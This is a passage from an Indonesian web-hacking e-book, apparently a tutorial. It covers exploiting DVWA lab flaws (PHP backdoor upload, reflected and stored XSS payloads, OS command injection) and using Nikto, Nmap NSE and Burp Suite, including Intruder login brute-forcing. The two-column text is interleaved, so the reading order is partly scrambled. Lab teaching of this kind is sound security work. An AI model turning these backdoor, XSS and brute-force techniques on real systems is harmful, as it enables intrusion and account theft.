upload, celah ini biasanya kita temukan dibanyak aplikasi web.     gakses http://192.168.1.208/hackable/uploads/shell.php seperti
Celah ini paling mudah di eksploitasi, dan pada level dvwa secu-   pada gambar berikut:
rity low tidak ada filter terhadap file sama sekali, sehingga kita
dapat mengupload file backdoor .php, dalam hal ini kita gu-
nakan file yang sama saat kita melakukan eksploitasi remote
file inclusion, tetapi dengan ekstensi “.php”




Kemudian dinyatakan bahwa kita berhasil melakukan upload
file “shell.php”




                                                                   Atau anda bisa membuat php based “reverse/bind shell” back-
                                                                   door dengan metasploit :).




                                                                                                                              37
8. Cross Site Scripting (XSS) Reflected

Celah kedelapan adalah celah cross site scripting reflected, ce-
lah ini mengijinkan kita memasukan perintah html, javascript.
Sebagai contoh kita mempergunakan tag html <h1>, seperti
contoh berikut:

Exploit/XSS payload : <h1>XSS</h1>




                                                                  Dan umumnya celah XSS Reflected ini dimanfaatkan oleh at-
                                                                  tacker untuk melakukan kegiatan phishing dan social engineer-
                                                                  ing, karena serangan ini hanya berlaku client-side dan reflected
Tetapi pada beberapa situs, umumnya forum diskusi beberapa        sehingga hanya target yang menerima link dengan payload xss
tag HTML memang diijinkan, dan untuk meyakinkan kita gu-          yang akan terkeksploitasi.
nakan tag yang umumnya di filter yaitu <iframe>, <script> dan
                                                                  Untuk eksploitasi XSS yang lebih berbahaya dapat merujuk ke
berikut ini kita coba memasukkan iframe dengan XXS payload
                                                                  bab 1 bagian Attack Vector Cross Site Scripting (XSS).
sebagai berikut:

<IFRAME+SRC=http://192.168.1.208><%2FIFRAME>
                                                                  9. Cross Site Scripting (XSS) Persistent

Maka kita akan mendapatkan hasil sebagai berikut:                 Celah kesembilan dan terakhir dari aplikasi DVWA adalah celah
                                                                  cross site scripting persistent, celah ini seperti celah XSS re-
                                                                  flected mengijinkan kita memasukan perintah html, javascript
                                                                  ke aplikasi, dan bedanya adalah xss payload yang kita masuk-
                                                                  kan akan tersimpan, sehingga seluruh user yang mengakses
                                                                  situs atau URL akan mungkin tereksploitasi.
                                                                                                                               38
Sebagai contoh kita mempergunakan tag html <h1>, seperti      Celah XSS reflected dan persistent ini tidak memiliki impact
contoh berikut pada halaman yang memiliki celah XSS persis-   sama sekali ke server. Celah ini akan menjadi sangat berba-
tent                                                          haya ke user apabila dikombinasikan dengan celah pada
                                                              aplikasi client seperti web browser, mail client dsb yang dapat
Exploit/XSS payload : <h1>XSS</h1>
                                                              memproses XSS payload (tag html/javascript) secara otomatis.

                                                              Untuk eksploitasi XSS yang lebih berbahaya dapat merujuk ke
                                                              bab 1 bagian Attack Vector Cross Site Scripting (XSS).




XSS payload tersebut akan tersimpan dan di proses oleh
aplikasi setiap kali diakses user.




                                                                                                                           39
Web Hacking Tools




3
             Pada BAB ini akan dibahas
             mengenai beberapa
             perangkat yang dapat
             dipergunakan untuk
             membantu dan juga sudah
             umum di pergunakan
             dalam proses Web
             Application Hacking.




              Ahmad Muammar, OSCP (C) 2013
Section 1



Web Application       1. Nikto

Security Tools        Nikto adalah aplikasi opensource web server scanner, yang
                      bekerja dengan cara membandingkan web server dengan ban-
                      yak item di database, termasuk diantaranya adalah 6500 file/cgi
                      yang memiliki kemungkinan celah keamanan, lebih dari 1250
                      versi server yang sudah out-of-date, dan sebanyak 270 masa-
Daftar Isi            lah spesifik berdasarkan versi dari suatu webserver.

                      Nikto juga memeriksa file konfigurasi, seperti keberadaan multi-
1. Nikto
                      ple index files, opsi pada server HTTP, dan juga akan men-
2. Nmap NSE           gidentifikasi versi web server dan aplikasi yang terinstall. Nikto
                      dibuat dan bekerja tidak secara tersembunyi, sehingga akan
3. BurpSuite (next)   mudah terdeteksi oleh perangkat keamanan jaringan (di log),
4. SQLMap(next)       meskipun begitu, nikto dilengkapi dengan metode anti-IDS.

                      Untuk menggunakan nikto, anda perlu menginstall Perl dan li-
                      brary perl yang dibutuhkan, karena nikto menggunakan perl se-
                      bagai bahasa pemrograman. Nikto sendiri dapat di download
                      gratis dari situsnya di http://cirt.net/nikto2.

                      Untuk mengakses mengenai informasi lengkap penggunaan-
                      nya, dapat diakses dengan #perl nikto.pl -H




                                                                                     41
Sebagai contoh berikut ini adalah saat kita melakukan proses      Seperti sudah di singgung diatas, nikto bekerja dengan mem-
scanning web server dengan alamat ip 192.168.1.210                bandingkan hasil scanning dengan database-nya, sehingga
                                                                  proses scanning akan berlangsung cepat, tetapi hal ini juga
                                                                  menjadi kelemahannya, karena beberapa direktori yang tidak
                                                                  terdapat pada dictionary/database-nya tidak akan dideteksi.

                                                                  Untuk mempergunakan nikto terhadap aplikasi/direktori yang
                                                                  tidak standar maka kita bisa menggunakan link full-path ke di-
                                                                  rektori tersebut, sebagai contoh ke aplikasi milik omega-bank,
                                                                  yang berada di http://192.168.1.210/omega-bank/




Beberapa informasi yang bisa diperoleh dari hasil scanning kita
adalah diantaranya :

1. Versi webserver yang outdated

2. Versi PHP yang outdated

3. HTTP Method yang aktif: GET, HEAD, POST, TRACE dan
   method TRACE memiliki celah keamanan.

4. Terdapat aplikasi phpmyadmin yang terletak di
   http://192.168.1.210/phpmyadmin/

5. Terdapat directory /icons/ dan default file README.



                                                                                                                                42
gunakan perintah #perl nikto.pl -h                                aplikasi dvwa, untuk dapat mengeksploitasi celah-celah yang
http://192.168.1.210/omega-bank/ dan akan didapatkan hasil        ada kita harus melakukan login atau memiliki cookie untuk da-
sebagai berikut:                                                  pat berinteraksi dengan aplikasi.

                                                                  Sebagai contoh adalah scanning langsung webserver dengan
                                                                  alamat ip 192.168.1.207




dan kita mendapatkan hasil yang lebih banyak lagi dan bisa kita   Kita dapat melakukan setting cookie pada file nikto.conf, untuk
cobakan, tetapi yang perlu diingat adalah bahwa penggunaan        mendapatkan cookie kita bisa mempergunakan nikto dengan
tools untuk melakukan scanning akan memunculkan kemungki-         opsi menambahkan “-Display 2”, untuk mendapatkan cookies
nan adanya celah keamanan yang false positive.                    dan proses scanning dilakukan dengan mempergunkan cookies
                                                                  dan perhatikan perbedaannya sebagai berikut:
Kustomisasi Nikto
                                                                  #perl nikto.pl 192.168.1.207 -Display 2
Selain beberapa hal diatas, nikto juga dapat dikustomisasi un-
tuk dapat bekerja secara maksimal, dalam hal ini melakukan
scanning aplikasi yang mempergunakan cookie, seperti pada
                                                                                                                              43
Dan kita dapatkan hasil yang lebih banyak dibandingkan tidak
mempergunakan cookies.

Atau kita dapat mempergunakan fitur inspect-element yang su-
dah terdapat di browser dan melihat cookit yang dipergunakan
seperti berikut ini:                                           Selanjutnya kita bisa set cookie tersebut, sehingga akan selalu
                                                               di gunakan jika kita akan melakukan scanning terhadap web
                                                               server dengan alamat tersebut, tetapi yang perlu di ingat, hal ini
                                                               akan berlaku static, dan secara manual juga kita harus
                                                               menghapusnya.



                                                                                                                              44
Tambahkan konfigurasi terkait cookies yang kita dapatkan ke
file nikto.conf kedalam variable static-cookie seeperti pada gam-
bar berikut ini:




Selanjutnya setelah disimpan kita bisa melakukan scanning
kembali dengan cookie yang sudah ada.




                                                                   45
meriksaan kemungkinan direktori yang tersedia seperti gambar
2. Nmap NSE
                                                            berikut ini.


Nmap dengan dukungan NMAP scripting engine memberikan
beberapa NSE yang berfungsi untuk melakukan vulnerability
scanning terhadap webserver. Untuk nama dan letak NSE da-
pat di lihat di /usr/local/share/nmap/scripts/




Salah satu yang umum di pergunakan dan cukup bermanfaat
adalah NSE http-enum yang akan secara cepat melakukan pe-


                                                                                                                      46
Burp Suite




4
             Pada BAB ini akan dibahas
             mengenai perangkat Burp
             Suite yaitu salah satu
             perangkat untuk
             melakukan web penetration
             testing.




              Ahmad Muammar, OSCP (C) 2013
Section 1



Burp Suite          1. Burp Suite

                    Burp Suite adalah salah satu perangkat keamanan gratis yang
                    sangat berguna dalam melakukan kegiatan web application se-
                    curity atau untuk kegiatan penetration testing. Burp yang pada
                    awalnya hanya merupakan aplikasi proxy server untuk melaku-
                    kan intercept baik terhadap http-request ataupun http-response
Daftar Isi          ke server dan web aplikasi.

                    Sampai versi terakhir 1.5 yang dapat diunduh di
1. Burp Suite
                    http://portswigger.net/burp/download.html, burp yang dina-
!   1.1 Proxy       makan suite juga berisikan tools-tools lain yang bermanfaat un-
                    tuk kegiatan Web application security dan penetration testing.
!   1.2 Spider
                    Burp Suite yang dikembangkan dnegan bahasa pemrograman
!   1.3 Intruder    JAVA ini memiliki tools seperti proxy, spider, intruder, repeater,
!   1.4 Repeater    sequencer, decoder, comparer untuk versi gratisnya. Serta Per-
                    angkat untuk melakukan scanning vulnerabilities terhadap web
!   1.5 Sequencer   aplikasi dengan perangkat scanner pada versi Professionalnya.

!   1.6 Decoder     Dan berikut akan kita bahas secara singkat perangkat-
                    perangkat yang terdapat pada Burp Suite, tetapi sebelum itu
!   1.7 Comparer
                    berikut adalah beberapa hal yang perlu dikonfigurasikan pada
!   1.8 Scanner     Burp Suite dan pada browser agar berjalan sempurna.

!   1.9 Extender

                                                                                    48
Secara default maka proxy listener akan berjalan di
                                                                    127.0.0.1:8080, dan alamat ini yang perlu kita set pada browser
                                                                    yang akan kita pergunakan pada aktifitas web penetration test-
                                                                    ing nantinya.




                 Gambar Aplikasi Burp Suite versi gratis



Untuk memastikan Burp Suite bekerja, pastikan bahwa proxy
                                                                                        Gambar Tab konfigurasi Proxy
listeners dari burp berjalan sempurna maka periksa pada Tab
Proxy dan tab Options, perhatikan pada bagian proxy-listeners       Kemudian kita perlu untuk mengkonfigurasikan browser yang
untuk di-cek dan running, begitu pula bagian Intercept Client Re-   akan kita pergunakan, dan untuke mempermudah dalam mela-
quest, dan pada beberapa kasus jika diperlukan juga melaku-         kukan switch proxy, apabila kita menggunakan lebih dari 1
kan intercept Server Responses.                                     proxy nantinya, maka untuk browser firefox atau chrome ada

                                                                                                                                49
add-os/extensions FoxyProxy yang dapat dipergunakan. Dan
berikut ini adalah gambar untuk mengkonfigurasikan Burp
proxy yang akan kita pergunakan nantinya.




                                                                                       Gambar Memilih Burp sebagai Proxy

                                                                  Dan selanjutnya apabila kita mengakses suatu web maka akan di inter-
                                                                  cept oleh burp, dan kita dapat memodifikasinya sebelum meneruskan
                                                                  request tersebut ke web server dengan meng-click tombol Forward,
                                                                  seperti gambar berikut ini,




                 Gambar Aplikasi Konfigurasi FoxyProxy



Sehingga, untuk mempergunakannya kita tinggal memilih kon-
figruasi untuk Burp proxy pada icon foxyproxy di firefox, seperti
pada gambar berikut ini:                                               Gambar saat kita mengakses web DVWA dan langsung di intercept burp




                                                                                                                                            50
1.1 Proxy

                                                                          Perangkat utama dari Burp suite yang awalnya dikenal dengan
                                                                          Burp Proxy adalah aplikasi proxy server yang dapat kita konfigu-
                                                                          rasikan untuk melakukan intercept terhadap seluruh transaksi
                                                                          web. Seperti pada penjelasan sebelumnya maka kali ini kita
                                                                          akan mempergunakan aplikasi web DVWA (Damn Vulnerable
                                                                          Web Application) sebagai aplikasi yang akan kita test.

                                                                          Sebagaimana kita ketahui bahwa aplikasi DVWA memiliki be-
                                                                          berapa level yaitu low, medium dan high dan untuk merubah
                                                                          level tersebut kita harus login terlebih dahulu kemudian mengak-
                                                                          ses halaman security.php, jika tidak maka secara default level
                                                                          security dari aplikasi adalah “high”.

                                                                          Dengan memanfaatkan penggunaan burp maka kita akan mela-
Gambar setelah kita meneruskan request dengan meng-click Forward button   kukan modifikasi security level dari aplikasi yang ternyata di set
                                                                          lewat Cookie oleh aplikasi, sehingga security level milik kita
                                                                          akan langsung ter-set dengan level low. Adapun yang kita laku-
                                                                          kan adalah dengan melakukan intercept seperti gambar diba-
                                                                          wah ini




                                                                                                                                        51
Gambar Request ke web dvwa, dan terlihat aplikasi men-set level security ke high
                                                                                                         Gambar Memodifikasi Cookie
Sebelum kita mem-Forward request tersebut, maka kita dapat
memodifikasi security level dari aplikasi, sehingga saat kita                        Dan seterusnya setiap request, kita harus memodifikasi sting
login level security kita adalah low, seperti gambar berikut                        security menjadi low pada tiap request, sehingga saat kita login
                                                                                    ke web aplikasi, level security yang kita punyai adalah low,
                                                                                    seperti gambar berikut




                                                                                                                                                  52
1.2 Spider

                                                               Perangkat kedua dari Burp Suite adalah “Spider”, perangkat ini
                                                               berfungsi sebagai crawler yang akan secara aktif dan pasif me-
                                                               lakukan crawling terhadap web aplikasi untuk mendapatkan
                                                               data halaman web, direktori, bahkan melakukan submit form
                                                               dan mendapatkan variabel.

                                                               Spider dapat di konfigurasikan untuk mempergunakan scope
                                                               yang terdefinisi terlebih dahulu, dengan tujuan fokus terhadap
                                                               target, untuk menentukan scope, perlu didefinisikan pada Tab
                                                               Taget seperti pad agambar berikut:



Gambar saat login, sudah otomatis dengan security level: low




                                                                                 Gambar Scope yang didefinisikan


                                                                                                                           53
Untuk mulai melakukan kegiatan crawling web aplikasi, maka                             1.3 Intruder
lakukan klik-kanan dan pilih opsi “Spider this host” seperti pada
gambar dibawah ini:                                                                    Perangkat yang ketiga dari kumpulan Suite pada Burp adalah
                                                                                       Intruder. Intruder ini adalah perangkat yang yang bermanfaat
                                                                                       untuk melakukan otomatisasi kegiatan yang ditemukan pada
                                                                                       saat melakukan kegiatan penetration testing. Salah satu kegi-
                                                                                       atan yang dapat dilakukan dengan memanfaatkan intruder ada-
                                                                                       lah untuk melakukan HTTP based brute-forcing




                 Gambar melakukan Spider terhadap URL tertentu.

Dan kemudian akan terlihat bahwa spider berjalan, seiring berjalanya aktifitas crawl-                          Gambar Tab Intruder
ing, maka nantinya pada Target akan bertambah pula direktori dan file yang terdapat
pada list URL tersebut.                                                                Selanjutnya kita akan coba melakukan bruteforce terhadap web
                                                                                       login pada aplikasi DVWA. Salah satu kelebihan dari aplikasi
                                                                                       bruteforce ini adalah kita tidak perlu mengkonfigurasikan be-
                                                                                       berapa hal yang umumnya kita konfigurasikan pada aplikasi bru-



                                                                                                                                                  54
teforce lainnya, semisal thc-hydra yaitu HTTP Method yang       Kemudian mengirimkannya ke Intruder, dengan melakukan klik
dipergunakan, kemudian error response dsb-nya.                  kanan pada seluruh request tersebut, seperti gambar berikut
                                                                ini:
Yang perlu kita lakukan adalah mendapatkan 1 request lengkap
saat proses login terjadi, sebagai contoh mempergunakan user-
name dan password sembarang, kemudian melakukan inter-
cept pada proses tersebut seperti gambar berikut ini:




                                                                        Gambar pengiriman request login untuk bruteforce ke Intruder

                                                                Selanjutnya adalah mengkonfigurasikan intruder untuk melaku-
                                                                kan bruteforce terhadap halaman login tersebut memanfaatkan
                Gambar request login ke aplikasi DVWA           full request yang sudah kita tandai. Sebelum itu pastikan host
                                                                dan port serta protokol yang dipergunakan sudah benar (den-
                                                                gan SSL (https) atau tidak), seperti pada gambar berikut ini.


                                                                                                                                       55
Gambar pengiriman request login untuk bruteforce ke Intruder          Gambar Posisi Payload dari full request yang kita kirim ke intruder

Kemudian, kita akan mulai mengkonfigurasikan Intruder untuk             Terdapat 5 Payload dengan 5 posisi pada request asli yang kita
proses bruteforce. Hal selanjutnya yang harus kita lakukan ada-        kirimkan, selanjutnya untuk menandai payload yang mana saja
lah menandai payload, payload inilah nantinya yang akan dimo-          serta posisinya untuk kita bruteforce, maka yang perlu kita laku-
difikasi oleh intruder saat melakukan request.                          kan pertama adalah menghilangkan seluruh tanda lalu kemu-
                                                                       dian menandainya, hal ini dapat dilakukan dengan menggu-
Terdapat beberapa tipe attack yang didukung oleh intruder dan
                                                                       nakan clear button.
hal ini sangat terkait dengan payload yang akan kita tandai dan
diberi posisi, seperti pada gambar berikut ini:                        Sehingga, seluruh payload belum tertandai seperti pada gam-
                                                                       bar berikut,

                                                                                                                                                    56
Gambar menandai payload dan posisinya
          Gambar Setelah kita melakukan clear payload positions
                                                                   Selanjutnya adalah menentukan tipe attack untuk payload, di-
Selanjutnya, karena kita hanya ingin melakukan bruteforce ter-
                                                                   mana yang tersedia adalah sniper, battering ram, pitchfork dan
hadap username dan password, maka kita hanya perlu menan-
                                                                   clusterbomb, ada baiknya membaca help untuk tiap-tiap attack
dai payload 1 yaitu username yang dalam hal ini admin dan
                                                                   type payload positions sesuai dengan kebutuhan anda, tetapi
payload 2 yaitu palsu sebagai password. Hal ini dapat kita laku-
                                                                   secara sederhana sniper dan battering ram hanya mendukung
kan dengan mempergunakan Add button seperti pada gambar
                                                                   single set payload dan sudah pasti tidak dapat kita pergunakan
berikut ini:
                                                                   karena payload yang kita butuhkan lebih dari satu payload.

                                                                   Hanya tersisa tipe attack pitchfork dan ClusterBomb, dan tipe
                                                                   attack yang terakhir memungkinkan seluruh kombinasi dari pay-
                                                                                                                               57
load di ujicobakan, sehingga kita akan memilih clusterbomb se-
bagai tipe attack untuk payload positions seperti pada gambar
berikut,




                    Gambar memilih Attack Type                            Gambar mengkonfigurasikan simple list sebagai payload 2


Selanjutnya yang perlu kita lakukan adalah mengkonfigurasikan     Seperti pada gambar diatas, kita mengkonfigurasikan payload
payload, yang sampai proses ini kita membutuhkan 2 buah pay-     dengan posisi nomer 2 yang nantinya akan menjadi password
load, yaitu payload 1 untuk username dan payload 2 untuk         pada proses bruteforce dengan intruder ini. Perlu diketahui
password.                                                        bahwa pada versi free maka proses bruteforce akan memakan
                                                                 waktu lebih lama karena hanya bisa menggunakan 1 threads :).
Dan untuk tipe payload, kita bisa memilih simple list dan me-    Anda juga selanjutnya dapat mengkonfigurasikan proses brute-
masukkan secara manual list tersebut satu-persatu dikare-        force pada bagian Options.
nakan hanya versi pro yang mengijinkan untuk kita melakukan
penambahan dari list yang sudah ada seperti file kamus kata.

                                                                                                                                   58
Untuk memulai melakukan bruteforce maka kita cukup memilih    kan content-length, dan hal ini akan lebih mudah jika password
menu intruder dan memilih start attack seperti pada gambar    yang salah menghasilkan halaman yang sama (length sama),
berikut,                                                      sedangkan apabila password yang salah menghasilkan
                                                              content-length yang berbeda (dalam hal ini menampilkan user-
                                                              name kembali saat gagal login) maka anda perlu mengkonfigu-
                                                              rasikan intruder (tab options) untuk mempermudah menemukan
                                                              password yang benar.




                 Gambar memulai proses bruteforce

Salah satu hal yang menarik adalah menentukan password        Untuk DVWA ini kita berhasil melakukan bruteforce dengan in-
yang benar, dikarenakan intruder ini memang kegunaannya un-   truder dan mendapatkan username admin dan password seba-
tuk melakukan automatisasi request dengan modifikasi, maka     gai password, salah satu kelebihan lainnya kita tidak perlu
untuk menentukan mana password yang benar dan salah salah     mengkonfigurasikan cookie (seperti jika kita mempergunakan
satu yang bisa kita pergunakan adalah dengan membanding-

                                                                                                                         59
hydra saat membruteforce login aplikasi dvwa) atau variable
lainnya yang diperlukan untuk login.

1.4 Repeater

Perangkat selanjutnya adalah Repeater, yang merupakan per-
angkat sederhana untuk secara manual melakukan modifikasi
(manipulasi) dan menjalankan single HTTP requests dan se-
cara langsung mendapatkan response dari aplikasi.

Untuk memanfaatkan repeater, sebagaimana penggunaan per-
angkat lainnya, kita cuma perlu melakukan klik kanan dan men-
girim request (Single) ke repeater, untuk kemudian dimodifikasi
dan di kirimkan secara tersendiri.

Untuk celah keamanan yang memungkinkan kita melakukan
eksploitasi terkait hal ini adalah celah OS Command Injection,
dan celah ini terdapat pada aplikasi DVWA, seperti pad a gam-
                                                                    Gambar request yang akan kita manipulasi secara terpisah dengan repeater
bar berikut ini:
                                                                 Dan celah keamana yang akan kita eksploitasi adalah pada ha-
                                                                 laman /vulnerabilities/exec/index.php pada variable ip seperti
                                                                 pada gambar berikut ini,




                                                                                                                                               60
Gambar eksploitasi celah keamanan OS Command Injection dengan repeater   Gambar proses eksploitasi celah keamanan os command injection dnegan repeater

Selanjutnya adalah kita tinggal menggonta-ganti request yang
ada khususnya pada variable ip, dan hal ini akan mempermu-
dah dan memberi banyak keleluasaan bagi kita dalam proses
penetration testing, dibandingkan mempergunakan browser un-
tuk tiap request.




                                                                                                                                                     61
1.5 Sequencer

Perangkat ke-5 adalah sequencer, perangkat ini bermanfaat un-
tuk melakukan proses analisa kualitas tingkat kerandoman dari
beberapa sample data, sebagai contoh memeriksa session to-
kens dari suatu aplikasi dsb. Sebagai contoh kita akan memeri-
kas cookies dari aplikasi DVWA ini




                                                                       Gambar pemilihan lokasi token pada response yang akan dianalisa.

                                                                 Kemudian kita tinggal menjalankan Sequencer dengan menggu-
                                                                 nakan button Start Live Capture, kemudian akan tampil hala-
                                                                 man hasil analisa yang menunjukkan bahwa hasil tingkat keran-
                                                                 doman untuk token tersebut adalah excellent, seperti pada gam-
                                                                 bar berikut,

               Gambar pengiriman request ke sequencer

Kemudian, token yang akan kita analisa adalah PHPSESSID
seperti pad agambar berikut ini,

                                                                                                                                          62
1.6 Decoder

                                                                  Perangkat selanjutnya adalah Decoder, perangkat ini sangat
                                                                  bermanfaat untuk melakukan decode terhadap berbagai jenis
                                                                  encode yang umum dipergunakan seperti URL, HTML, Base64,
                                                                  ASCII hex, Hex, Octal, Binary, dan GZIP serta juga mendukung
                                                                  encoding dengan tipe-tipe diatas juga.

                                                                  Selain itu perangkat decoder ini juga memiliki dukungan untuk
                                                                  melakukan Hashing dengan dukungan beberapa algoritma
                                                                  hash yang sudah umum, seperti: md5, md3, SHA, SHA -256,
                                                                  SHA-384, SHA-512




Gambar hasil analisa tingkat kerandoman dari token yang dipilih




                                                                                      Gambar Penggunaan Decoder
                                                                                                                              63
1.7 Comparer                                                       dengan security level high pada aplikasi DVWA, seperti pada
                                                                                          gambar berikut,
Burp comparer adalah perangkat yang berfungsi untuk melaku-
kan perbandingan, seperti aplikasi diff pada unix, tetapi dalam
hal ini yang dibandingkan adalah antara HTTP request atau
antara HTTP Response. Untuk mengirim ke comparer dapat
melakukan click kanan item yang akan di compare kemudian
dipilih request atau response-nya seperti pada gambar berikut




                                                                                Gambar melakukan compare 2 buah request

                                                                  Dari hasil perbandingan diatas kita mengetahui dan dapat mela-
                                                                  kukan modifikasi cookie untuk membuat security level kita low
                                                                  tanpa perlu melakukan set security pada aplikasi DVWA,
                                                                  seperti yang kita lakukan sebelumnya pada bagian proxy.




                Gambar Mengirimkan item ke Comparer

Sebagai contoh pemanfaatan Comparer adalah kita melakukan
perbandingan antara login dengan security level low dan login
                                                                                                                             64
1.8 Scanner & 1.9 Extender (Pro-Only)

Perangkat selanjutnya yang terdapat pada Burp suite adalah
Burp Scanner dan Burp Extender. Kedua perangkat ini hanya
tersedia pada Burp dengan versi Pro, dan tidak akan di bahas
secara mendetail pada e-book ini.

Sedang untuk penggunaan Scanner kita tinggal melakukan klik-
kanan dan memilih mode aktif atau pasif, tetapi sebaiknya kita
mendefinisikan Scope terlebih dahulu serta melakukan crawl-
ing web aplikasi dengan Spider.




                                                                         Gambar hasil penggunaan Burp Scanner untuk aplikasi dvwa

                                                                 Dari hasil ujicoba tingkat keberhasilan burp dalam mendeteksi
                                                                 celah keamanan relatif cukup baik, burp juga meminimalisir ha-
                                                                 sil false positive, selain itu metode scanning yang dilakukan
                    Gambar Penggunaan Scanner
                                                                 burp juga memberikan tingkat lebih dalah berhadapan dengan
Dan hasil dari penggunaan Burp Scanner akan terdapat pada        perangkat keamanan web seperti IDS, IPS dan Web Applica-
tab scanner, seperti contoh berikut ini adalah melakukan scan-   tion Firewall.
ning terhadap aplikasi dvwa.



                                                                                                                                    65
Gambar validasi salah satu celah keamanan yang ditemukan Burp Scanner

Burp Extender adalah salah satu fitur yang memungkinkan
pengguna dan pengembang untuk mengembangkan penggu-
naan dan fungsi dari Burp Suite, sebagai contoh adalah salah
satu extender sqlmap untuk Burp Suite yang di buat dan dikem-
bangkan oleh Daniel Garcia




                 Gambar SQLMap Extender untuk Burp Suite


                                                                           66

More Related Content

What's hot

Bagaimana Belajar Menjadi Seorang Penetration Tester (PenTest)
Bagaimana Belajar Menjadi Seorang Penetration Tester (PenTest)Bagaimana Belajar Menjadi Seorang Penetration Tester (PenTest)
Bagaimana Belajar Menjadi Seorang Penetration Tester (PenTest)Mark Thalib
 
Pengenalan Ethical Hacking
Pengenalan Ethical HackingPengenalan Ethical Hacking
Pengenalan Ethical HackingIwan stwn
 
Bypass web security dengan menggunakan teknik XST (Cross Sites Tracing)
Bypass web security dengan menggunakan  teknik XST (Cross Sites Tracing)Bypass web security dengan menggunakan  teknik XST (Cross Sites Tracing)
Bypass web security dengan menggunakan teknik XST (Cross Sites Tracing)Mark Thalib
 
Ch 10: Hacking Web Servers
Ch 10: Hacking Web ServersCh 10: Hacking Web Servers
Ch 10: Hacking Web ServersSam Bowne
 
Penetration Testing Report
Penetration Testing ReportPenetration Testing Report
Penetration Testing ReportAman Srivastava
 
Security Analyst Workshop - 20190314
Security Analyst Workshop - 20190314Security Analyst Workshop - 20190314
Security Analyst Workshop - 20190314Florian Roth
 
Network Security Fundamentals
Network Security FundamentalsNetwork Security Fundamentals
Network Security FundamentalsRahmat Suhatman
 
Threat Hunting with Splunk
Threat Hunting with Splunk Threat Hunting with Splunk
Threat Hunting with Splunk Splunk
 
Burp suite
Burp suiteBurp suite
Burp suiteAmmar WK
 
Ethical Hacking - sniffing
Ethical Hacking - sniffingEthical Hacking - sniffing
Ethical Hacking - sniffingBhavya Chawla
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Amit Tyagi
 
Web application attacks
Web application attacksWeb application attacks
Web application attackshruth
 
Penetration testing reporting and methodology
Penetration testing reporting and methodologyPenetration testing reporting and methodology
Penetration testing reporting and methodologyRashad Aliyev
 
Kali linux useful tools
Kali linux useful toolsKali linux useful tools
Kali linux useful toolsmilad mahdavi
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application SecurityAbdul Wahid
 
Module 3 Scanning
Module 3   ScanningModule 3   Scanning
Module 3 Scanningleminhvuong
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 

What's hot (20)

Bagaimana Belajar Menjadi Seorang Penetration Tester (PenTest)
Bagaimana Belajar Menjadi Seorang Penetration Tester (PenTest)Bagaimana Belajar Menjadi Seorang Penetration Tester (PenTest)
Bagaimana Belajar Menjadi Seorang Penetration Tester (PenTest)
 
SQL Injection
SQL Injection SQL Injection
SQL Injection
 
Pengenalan Ethical Hacking
Pengenalan Ethical HackingPengenalan Ethical Hacking
Pengenalan Ethical Hacking
 
CSRF Basics
CSRF BasicsCSRF Basics
CSRF Basics
 
Bypass web security dengan menggunakan teknik XST (Cross Sites Tracing)
Bypass web security dengan menggunakan  teknik XST (Cross Sites Tracing)Bypass web security dengan menggunakan  teknik XST (Cross Sites Tracing)
Bypass web security dengan menggunakan teknik XST (Cross Sites Tracing)
 
Ch 10: Hacking Web Servers
Ch 10: Hacking Web ServersCh 10: Hacking Web Servers
Ch 10: Hacking Web Servers
 
Penetration Testing Report
Penetration Testing ReportPenetration Testing Report
Penetration Testing Report
 
Security Analyst Workshop - 20190314
Security Analyst Workshop - 20190314Security Analyst Workshop - 20190314
Security Analyst Workshop - 20190314
 
Network Security Fundamentals
Network Security FundamentalsNetwork Security Fundamentals
Network Security Fundamentals
 
Threat Hunting with Splunk
Threat Hunting with Splunk Threat Hunting with Splunk
Threat Hunting with Splunk
 
Burp suite
Burp suiteBurp suite
Burp suite
 
Ethical Hacking - sniffing
Ethical Hacking - sniffingEthical Hacking - sniffing
Ethical Hacking - sniffing
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
Web application attacks
Web application attacksWeb application attacks
Web application attacks
 
Penetration testing reporting and methodology
Penetration testing reporting and methodologyPenetration testing reporting and methodology
Penetration testing reporting and methodology
 
Kali linux useful tools
Kali linux useful toolsKali linux useful tools
Kali linux useful tools
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Soc
SocSoc
Soc
 
Module 3 Scanning
Module 3   ScanningModule 3   Scanning
Module 3 Scanning
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 

Viewers also liked

backdooring workshop
backdooring workshopbackdooring workshop
backdooring workshopAmmar WK
 
Backtrack 5 - network pentest
Backtrack 5 - network pentestBacktrack 5 - network pentest
Backtrack 5 - network pentestDan H
 
Mobile hacking, pentest, and malware
Mobile hacking, pentest, and malwareMobile hacking, pentest, and malware
Mobile hacking, pentest, and malwareAmmar WK
 
Backtrack 5 - web pentest
Backtrack 5 - web pentestBacktrack 5 - web pentest
Backtrack 5 - web pentestDan H
 
Linux Exploit Research
Linux Exploit ResearchLinux Exploit Research
Linux Exploit ResearchDan H
 
Mastering Network HackingFU - idsecconf2008
Mastering Network HackingFU - idsecconf2008Mastering Network HackingFU - idsecconf2008
Mastering Network HackingFU - idsecconf2008Ammar WK
 
Seminar Hacking & Security Analysis
Seminar Hacking & Security AnalysisSeminar Hacking & Security Analysis
Seminar Hacking & Security AnalysisDan H
 
Advanced Exploit Development (Updated on 28 January, 2016)
Advanced Exploit Development (Updated on 28 January, 2016)Advanced Exploit Development (Updated on 28 January, 2016)
Advanced Exploit Development (Updated on 28 January, 2016)Dan H
 
webhacking
webhackingwebhacking
webhackingAmmar WK
 
password series
password seriespassword series
password seriesAmmar WK
 
Layer 7 denial of services attack mitigation
Layer 7 denial of services attack mitigationLayer 7 denial of services attack mitigation
Layer 7 denial of services attack mitigationAmmar WK
 
Exploit Development with Python
Exploit Development with PythonExploit Development with Python
Exploit Development with PythonThomas Gregory
 
Playin with Password
Playin with PasswordPlayin with Password
Playin with PasswordAmmar WK
 
Had sec mikrotik administrator
Had sec mikrotik administratorHad sec mikrotik administrator
Had sec mikrotik administratormuhammad pailus
 
Syllabus Advanced Exploit Development 22-23 June 2013
Syllabus Advanced Exploit Development 22-23 June 2013Syllabus Advanced Exploit Development 22-23 June 2013
Syllabus Advanced Exploit Development 22-23 June 2013Dan H
 
Packet analysis (Basic)
Packet analysis (Basic)Packet analysis (Basic)
